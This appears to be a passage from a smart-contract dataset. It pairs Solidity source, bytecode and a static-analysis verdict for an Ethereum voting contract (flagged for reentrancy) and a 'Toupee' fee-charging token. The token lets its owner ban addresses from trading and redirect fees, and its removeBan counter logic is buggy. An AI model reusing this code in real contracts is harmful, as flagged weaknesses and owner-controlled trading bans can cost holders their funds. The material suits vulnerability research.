require(senderIsAuthorized, "user is not authorized");
_;
}
/**
* @dev Is active.
* @return is voting active.
*/
function isActive() public view returns (bool) {
uint256 currentBlockNumber = block.number;
return currentBlockNumber >= startBlock && currentBlockNumber <= endBlock;
}
/**
* @dev Get total voters count .
* @return total voters count.
*/
function getTotalVoters() external view returns (uint256) {
return voters.length;
}
/**
* @dev Get voters range.
* @return voters range.
*/
function getVotersRange(uint256 _startIndex, uint256 _count) external view returns (address[] memory) {
uint256 rangeCount = _count;
if (rangeCount > voters.length - _startIndex) {
rangeCount = voters.length - _startIndex;
}
address[] memory rangeVoters = new address[](rangeCount);
for (uint256 i = 0; i < rangeCount; i++) {
rangeVoters[i] = voters[_startIndex + i];
}
return rangeVoters;
}
/**
* @dev Get all voters.
* @return all voters.
*/
function getAllVoters() external view returns (address[] memory) {
return voters;
}
/**
* @dev Cast a vote.
* @param _choiceIndex the vote choice index.
*/
function castVote(uint256 _choiceIndex) internal onlyIfActive onlyIfUserVoteAbsent onlyIfValidChoiceIndex(_choiceIndex) onlyIfAuthorizedUser
{
uint256 base1ChoiceIndex = _choiceIndex + 1;
address sender = msg.sender;
votes[sender] = base1ChoiceIndex;
voters.push(sender);
emit ProposalVoteCasted(sender, base1ChoiceIndex);
}
}
// File: contracts/voting/OTCProviderProposalVoting.sol
contract OTCProviderProposalVoting is ProposalVoting {
string[3] public choices = ["B2C2", "Woorton", "Cumberland"];
constructor(IContractAddressLocator _contractAddressLocator, uint256 _startBlock, uint256 _endBlock) ProposalVoting(_contractAddressLocator, "Proposal for Determining the Identity of Sögur Primary Liquidity Provider", _startBlock, _endBlock, 3) public {}
function voteB2C2() public
{
castVote(0);
}
function voteWoorton() public
{
castVote(1);
}
function voteCumberland() public
{
castVote(2);
}
}
|
0x6080604052600436106100f05763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663083c632381146100f557806322f3e2d41461011c57806328e34d941461014557806335bbe70e1461018357806348cd4cb1146101e85780637284e416146101fd57806374f1649a14610287578063793cf2181461029c5780638554fbab146102b1578063a22ee8d9146102c6578063d8bff5a5146102dd578063da58c7d91461030b578063dd65db4c14610323578063e1b9761a1461033e578063f6fd7fde14610353578063fb34d4351461036b578063ffa1ad7414610380575b600080fd5b34801561010157600080fd5b5061010a610395565b60408051918252519081900360200190f35b34801561012857600080fd5b5061013161039b565b604080519115158252519081900360200190f35b34801561015157600080fd5b5061015a6103ba565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b34801561018f57600080fd5b506101986103ea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156101d45781810151838201526020016101bc565b505050509050019250505060405180910390f35b3480156101f457600080fd5b5061010a610459565b34801561020957600080fd5b5061021261045f565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561024c578181015183820152602001610234565b50505050905090810190601f1680156102795780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561029357600080fd5b5061015a61050a565b3480156102a857600080fd5b5061010a610526565b3480156102bd57600080fd5b5061010a61052c565b3480156102d257600080fd5b506102db610532565b005b3480156102e957600080fd5b5061010a73ffffffffffffffffffffffffffffffffffffffff6004351661053e565b34801561031757600080fd5b5061015a600435610550565b34801561032f57600080fd5b50610198600435602435610585565b34801561034a57600080fd5b506102db610657565b34801561035f57600080fd5b50610212600435610661565b34801561037757600080fd5b506102db6106e7565b34801561038c57600080fd5b506102126106f1565b60065481565b600554600090439081108015906103b457506006548111155b91505090565b60006103e57f49534752417574686f72697a6174696f6e4d616e616765720000000000000000610728565b905090565b6060600480548060200260200160405190810160405280929190818152602001828054801561044f57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610424575b5050505050905090565b60055481565b60018054604080516020600284861615610100027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0190941693909304601f810184900484028201840190925281815292918301828280156105025780601f106104d757610100808354040283529160200191610502565b820191906000526020600020905b8154815290600101906020018083116104e557829003601f168201915b505050505081565b60005473ffffffffffffffffffffffffffffffffffffffff1690565b60045490565b60025481565b61053c60006107ce565b565b60036020526000908152604090205481565b600480548290811061055e57fe5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b600454606090829082906000908690038311156105a55760045486900392505b826040519080825280602002602001820160405280156105cf578160200160208202803883390190505b509150600090505b8281101561064e57600480548783019081106105ef57fe5b600091825260209091200154825173ffffffffffffffffffffffffffffffffffffffff9091169083908390811061062257fe5b73ffffffffffffffffffffffffffffffffffffffff9092166020928302909101909101526001016105d7565b50949350505050565b61053c60016107ce565b6007816003811061066e57fe5b018054604080516020601f60027fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610100600188161502019095169490940493840181900481028201810190925282815293508301828280156105025780601f106104d757610100808354040283529160200191610502565b61053c60026107ce565b60408051808201909152600581527f312e302e30000000000000000000000000000000000000000000000000000000602082015281565b60008054604080517f0d2020dd00000000000000000000000000000000000000000000000000000000815260048101859052905173ffffffffffffffffffffffffffffffffffffffff90921691630d2020dd9160248082019260209290919082900301818787803b15801561079c57600080fd5b505af11580156107b0573d6000803e3d6000fd5b505050506040513d60208110156107c657600080fd5b505192915050565b6000806107d961039b565b151561084657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601a60248201527f766f74696e672070726f706f73616c206e6f7420616374697665000000000000604482015290519081900360640190fd5b33600090815260036020526040902054156108c257604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f766f74696e672070726f706f73616c20616c726561647920766f746564000000604482015290519081900360640190fd5b6002548390811061093457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f696e76616c696420766f74696e672063686f69636520696e6465780000000000604482015290519081900360640190fd5b60008061093f6103ba565b604080517f7916910e000000000000000000000000000000000000000000000000000000008152336004820152905191935073ffffffffffffffffffffffffffffffffffffffff841691637916910e916024808201926020929091908290030181600087803b1580156109b157600080fd5b505af11580156109c5573d6000803e3d6000fd5b505050506040513d60208110156109db57600080fd5b50519050801515610a4d57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601660248201527f75736572206973206e6f7420617574686f72697a656400000000000000000000604482015290519081900360640190fd5b3360008181526003602090815260408083206001808c01918290556004805491820181559094527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b90930180547fffffffffffffffffffffffff000000000000000000000000000000000000000016851790558051838152905192985092965086927f408e3f5bb3f1f74e0375b728b2ff379a7d8d213c48d7223776e0ee11c49914a1929081900390910190a25050505050505600a165627a7a723058202ba51b86964de1e9d77448c54da22fa8d39533a2279fb44497f02ca7d6addcbf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 9,433 |
0x77c9b59abbd6b2b71fbe36c17d4275099e30d578
|
/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
m_Owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return m_Owner;
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender) external;
}
contract Toupee is Context, IERC20, Ownable {
using SafeMath for uint256;
uint256 private constant TOTAL_SUPPLY = 100000000000000 * 10**9; //9 decimal spots after the amount
string private m_Name = "Toupee";
string private m_Symbol = "Toupee";
uint8 private m_Decimals = 9;
uint256 private m_BanCount = 0;
uint256 private m_TxLimit = 500000000000 * 10**9; // 0.5% of total supply
uint256 private m_SafeTxLimit = m_TxLimit;
uint256 private m_WalletLimit = m_SafeTxLimit.mul(4);
uint256 private m_Toll = 480; //4.8% Toll
uint256 private m_Charity = 20; // 0.2% Charity
address payable private m_TollAddress;
address payable private m_CharityAddress;
address private m_UniswapV2Pair;
bool private m_TradingOpened = false;
bool private m_IsSwap = false;
bool private m_SwapEnabled = false;
bool private m_AntiBot = true;
mapping (address => bool) private m_Bots;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
FTPAntiBot private AntiBot;
IUniswapV2Router02 private m_UniswapV2Router;
event MaxOutTxLimit(uint MaxTransaction);
event BanAddress(address Address, address Origin);
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
FTPAntiBot _antiBot = FTPAntiBot(0xDDB155C4119C1ecF4aa06f5c7cb92Ae81c4A44C1); // AntiBot address for ROPSTEN TEST NET (its ok to leave this in mainnet push as long as you reassign it with external function)
AntiBot = _antiBot;
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
// ####################
// ##### DEFAULTS #####
// ####################
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
// #####################
// ##### OVERRIDES #####
// #####################
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
// ####################
// ##### PRIVATES #####
// ####################
function _readyToSwap(address _sender) private view returns(bool) {
return !m_IsSwap && _sender != m_UniswapV2Pair && m_SwapEnabled;
}
function _pleb(address _sender, address _recipient) private view returns(bool) {
return _sender != owner() && _recipient != owner() && m_TradingOpened;
}
function _senderNotUni(address _sender) private view returns(bool) {
return _sender != m_UniswapV2Pair;
}
function _txRestricted(address _sender, address _recipient) private view returns(bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns(bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
uint256 _tollBasisPoints = _getTollBasisPoints(_sender, _recipient);
uint256 _tollAmount = _amount.div(10000).mul(_tollBasisPoints);
uint256 _newAmount = _amount.sub(_tollAmount);
uint256 _charityBasisPoints = _getCharityBasisPoints(_sender, _recipient);
uint256 _charityAmount = _amount.div(10000).mul(_charityBasisPoints);
_newAmount = _newAmount.sub(_charityAmount);
if(m_AntiBot) {
if((_recipient == m_UniswapV2Pair /* || _sender == m_UniswapV2Pair*/) && m_TradingOpened){ // HoneyBot
// require(!AntiBot.scanAddress(_recipient, m_UniswapV2Pair, tx.origin), "This bear doesn't like you. Look for honey elsewhere.");
require(!AntiBot.scanAddress(_sender, m_UniswapV2Pair, tx.origin), "This bear doesn't like you. Look for honey elsewhere.");
}
require (m_Bots[_sender] == false);
}
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit); // Check balance of recipient and if < max amount, fails
if (_pleb(_sender, _recipient)) {
if (_txRestricted(_sender, _recipient))
require(_amount <= m_TxLimit);
_toll(_sender); // This contract taxes users X% on every tX and converts it to Eth to send to wherever
}
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_newAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_tollAmount).add(_charityAmount); // Add toll + charity amount to total supply
emit Transfer(_sender, _recipient, _newAmount);
if(m_AntiBot) // Check if AntiBot is enabled
AntiBot.registerBlock(_sender, _recipient); // Tells AntiBot to start watching
}
function _getTollBasisPoints(address _sender, address _recipient) private view returns (uint256) {
bool _takeToll = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
if(!_takeToll) return 0;
return m_Toll;
}
function _getCharityBasisPoints(address _sender, address _recipient) private view returns (uint256) {
bool _takeCharity = !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
if(!_takeCharity) return 0;
return m_Charity;
}
function _toll(address _sender) private {
uint256 _tokenBalance = balanceOf(address(this));
if (_readyToSwap(_sender)) {
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _disperseEth() private {
m_TollAddress.transfer(address(this).balance.mul(m_Toll).div(10000));
m_CharityAddress.transfer(address(this).balance.mul(m_Charity).div(10000));
}
// ####################
// ##### EXTERNAL #####
// ####################
function banCount() external view returns (uint256) {
return m_BanCount;
}
function checkIfBanned(address _address) external view returns (bool) { // Tool for traders to verify ban status
bool _banBool = false;
if(m_Bots[_address])
_banBool = true;
return _banBool;
}
function checkIfAntiBotOn() external onlyOwner() view returns (bool) { // Check if Anti Bot is turned on
return m_AntiBot;
}
// ######################
// ##### ONLY OWNER #####
// ######################
function addLiquidity() external onlyOwner() {
require(!m_TradingOpened,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
m_SwapEnabled = true;
m_TradingOpened = true;
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
}
function setTxLimit(uint256 txLimit) external onlyOwner() {
uint256 txLimitWei = txLimit * 10**9; // Set limit with Mishka instead of wei
require(txLimitWei > TOTAL_SUPPLY.div(1000)); // Minimum TxLimit is 0.1% to avoid freeze
m_TxLimit = txLimitWei;
m_SafeTxLimit = m_TxLimit;
m_WalletLimit = m_SafeTxLimit.mul(4);
}
function setTollBasisPoints(uint256 toll) external onlyOwner() {
require(toll <= 500); // Max Toll can be set to 5%
m_Toll = toll;
}
function setCharityBasisPoints(uint256 charity) external onlyOwner() {
require(charity <= 500); // Max Charity can be set to 5%
m_Charity = charity;
}
function setTxLimitMax() external onlyOwner() { // MaxTx set to MaxWalletLimit
m_TxLimit = m_WalletLimit;
m_SafeTxLimit = m_WalletLimit;
emit MaxOutTxLimit(m_TxLimit);
}
function manualBan(address _a) external onlyOwner() {
m_Bots[_a] = true;
}
function removeBan(address _a) external onlyOwner() {
m_Bots[_a] = false;
m_BanCount -= 1;
}
function contractBalance() external view onlyOwner() returns (uint256) { // Just used to verify initial balance for addLiquidity
return address(this).balance;
}
function setTollAddress(address payable _tollAddress) external onlyOwner() { // Use this function to assign toll wallet
m_TollAddress = _tollAddress;
m_ExcludedAddresses[_tollAddress] = true;
}
function setCharityAddress(address payable _charityAddress) external onlyOwner() { // Use this function to assign toll wallet
m_CharityAddress = _charityAddress;
m_ExcludedAddresses[_charityAddress] = true;
}
function assignAntiBot(address _address) external onlyOwner() { // Set to live net when published.Highly recommend use of a function that can edit AntiBot contract address to allow for AntiBot version updates
FTPAntiBot _antiBot = FTPAntiBot(_address);
AntiBot = _antiBot;
}
function toggleAntiBot() external onlyOwner() returns (bool){ // Having a way to turn interaction with other contracts on/off is a good design practice
bool _localBool;
if(m_AntiBot){
m_AntiBot = false;
_localBool = false;
}
else{
m_AntiBot = true;
_localBool = true;
}
return _localBool;
}
}
|
0x60806040526004361061016a5760003560e01c806370a08231116100d1578063af74ff5b1161008a578063c735f3c911610064578063c735f3c914610547578063dd62ed3e1461055e578063e8078d941461059b578063fa2b2009146105b257610171565b8063af74ff5b146104ca578063b2b19f1a146104f5578063b451192d1461051e57610171565b806370a08231146103a65780638708f787146103e35780638b7afe2e1461040c5780638da5cb5b1461043757806395d89b4114610462578063a9059cbb1461048d57610171565b806323b872dd1161012357806323b872dd14610286578063313ce567146102c35780633908cfd2146102ee5780635c85974f1461031757806362caa70414610340578063700542ec1461036957610171565b806306fdde0314610176578063095ea7b3146101a15780630c9be46d146101de5780630d6a81cc1461020757806318160ddd14610232578063228e7a911461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061018b6105dd565b604051610198919061333d565b60405180910390f35b3480156101ad57600080fd5b506101c860048036038101906101c39190612ed9565b61066f565b6040516101d59190613322565b60405180910390f35b3480156101ea57600080fd5b5061020560048036038101906102009190612e25565b61068d565b005b34801561021357600080fd5b5061021c6107be565b6040516102299190613322565b60405180910390f35b34801561023e57600080fd5b5061024761086b565b604051610254919061349f565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f9190612dd3565b61087d565b005b34801561029257600080fd5b506102ad60048036038101906102a89190612e8a565b61096d565b6040516102ba9190613322565b60405180910390f35b3480156102cf57600080fd5b506102d8610a46565b6040516102e59190613514565b60405180910390f35b3480156102fa57600080fd5b5061031560048036038101906103109190612dd3565b610a5d565b005b34801561032357600080fd5b5061033e60048036038101906103399190612f3e565b610b67565b005b34801561034c57600080fd5b5061036760048036038101906103629190612dd3565b610c6a565b005b34801561037557600080fd5b50610390600480360381019061038b9190612dd3565b610d49565b60405161039d9190613322565b60405180910390f35b3480156103b257600080fd5b506103cd60048036038101906103c89190612dd3565b610db0565b6040516103da919061349f565b60405180910390f35b3480156103ef57600080fd5b5061040a60048036038101906104059190612f3e565b610df9565b005b34801561041857600080fd5b50610421610ea7565b60405161042e919061349f565b60405180910390f35b34801561044357600080fd5b5061044c610f45565b604051610459919061321d565b60405180910390f35b34801561046e57600080fd5b50610477610f6e565b604051610484919061333d565b60405180910390f35b34801561049957600080fd5b506104b460048036038101906104af9190612ed9565b611000565b6040516104c19190613322565b60405180910390f35b3480156104d657600080fd5b506104df61101e565b6040516104ec9190613322565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190612f3e565b611118565b005b34801561052a57600080fd5b5061054560048036038101906105409190612e25565b6111c6565b005b34801561055357600080fd5b5061055c6112f7565b005b34801561056a57600080fd5b5061058560048036038101906105809190612e4e565b6113d9565b604051610592919061349f565b60405180910390f35b3480156105a757600080fd5b506105b0611460565b005b3480156105be57600080fd5b506105c7611993565b6040516105d4919061349f565b60405180910390f35b6060600180546105ec90613745565b80601f016020809104026020016040519081016040528092919081815260200182805461061890613745565b80156106655780601f1061063a57610100808354040283529160200191610665565b820191906000526020600020905b81548152906001019060200180831161064857829003601f168201915b5050505050905090565b600061068361067c611a18565b8484611a20565b6001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106cc611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610722576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610719906133ff565b60405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610800611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610856576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084d906133ff565b60405180910390fd5b600c60179054906101000a900460ff16905090565b600069152d02c7e14af6800000905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108bc611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610912576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610909906133ff565b60405180910390fd5b6001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600061097a848484611beb565b610a3b84610986611a18565b610a3685604051806060016040528060288152602001613b1660289139601060008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006109ec611a18565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122e39092919063ffffffff16565b611a20565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610a9c611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610af2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ae9906133ff565b60405180910390fd5b6000600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160046000828254610b5d9190613665565b9250508190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ba6611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610bfc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bf3906133ff565b60405180910390fd5b6000633b9aca0082610c0e919061360b565b9050610c2f6103e869152d02c7e14af680000061234790919063ffffffff16565b8111610c3a57600080fd5b80600581905550600554600681905550610c60600460065461199d90919063ffffffff16565b6007819055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ca9611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610cff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf6906133ff565b60405180910390fd5b600081905080601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008060009050600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610da757600190505b80915050919050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e38611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610e8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e85906133ff565b60405180910390fd5b6101f4811115610e9d57600080fd5b8060098190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ee9611a18565b73ffffffffffffffffffffffffffffffffffffffff1614610f3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f36906133ff565b60405180910390fd5b47905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610f7d90613745565b80601f0160208091040260200160405190810160405280929190818152602001828054610fa990613745565b8015610ff65780601f10610fcb57610100808354040283529160200191610ff6565b820191906000526020600020905b815481529060010190602001808311610fd957829003601f168201915b5050505050905090565b600061101461100d611a18565b8484611beb565b6001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611060611a18565b73ffffffffffffffffffffffffffffffffffffffff16146110b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ad906133ff565b60405180910390fd5b6000600c60179054906101000a900460ff16156110f1576000600c60176101000a81548160ff02191690831515021790555060009050611111565b6001600c60176101000a81548160ff021916908315150217905550600190505b8091505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611157611a18565b73ffffffffffffffffffffffffffffffffffffffff16146111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a4906133ff565b60405180910390fd5b6101f48111156111bc57600080fd5b8060088190555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611205611a18565b73ffffffffffffffffffffffffffffffffffffffff161461125b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611252906133ff565b60405180910390fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611336611a18565b73ffffffffffffffffffffffffffffffffffffffff161461138c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611383906133ff565b60405180910390fd5b6007546005819055506007546006819055507f1509687539547b95d9002029c1b24fbfdd2e99b914fabbbc629867062a4ff3cc6005546040516113cf919061349f565b60405180910390a1565b6000601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661149f611a18565b73ffffffffffffffffffffffffffffffffffffffff16146114f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ec906133ff565b60405180910390fd5b600c60149054906101000a900460ff1615611545576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153c9061347f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506115d630601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000611a20565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561161c57600080fd5b505afa158015611630573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116549190612dfc565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156116b657600080fd5b505afa1580156116ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ee9190612dfc565b6040518363ffffffff1660e01b815260040161170b929190613238565b602060405180830381600087803b15801561172557600080fd5b505af1158015611739573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175d9190612dfc565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117e630610db0565b6000806117f1610f45565b426040518863ffffffff1660e01b8152600401611813969594939291906132c1565b6060604051808303818588803b15801561182c57600080fd5b505af1158015611840573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118659190612f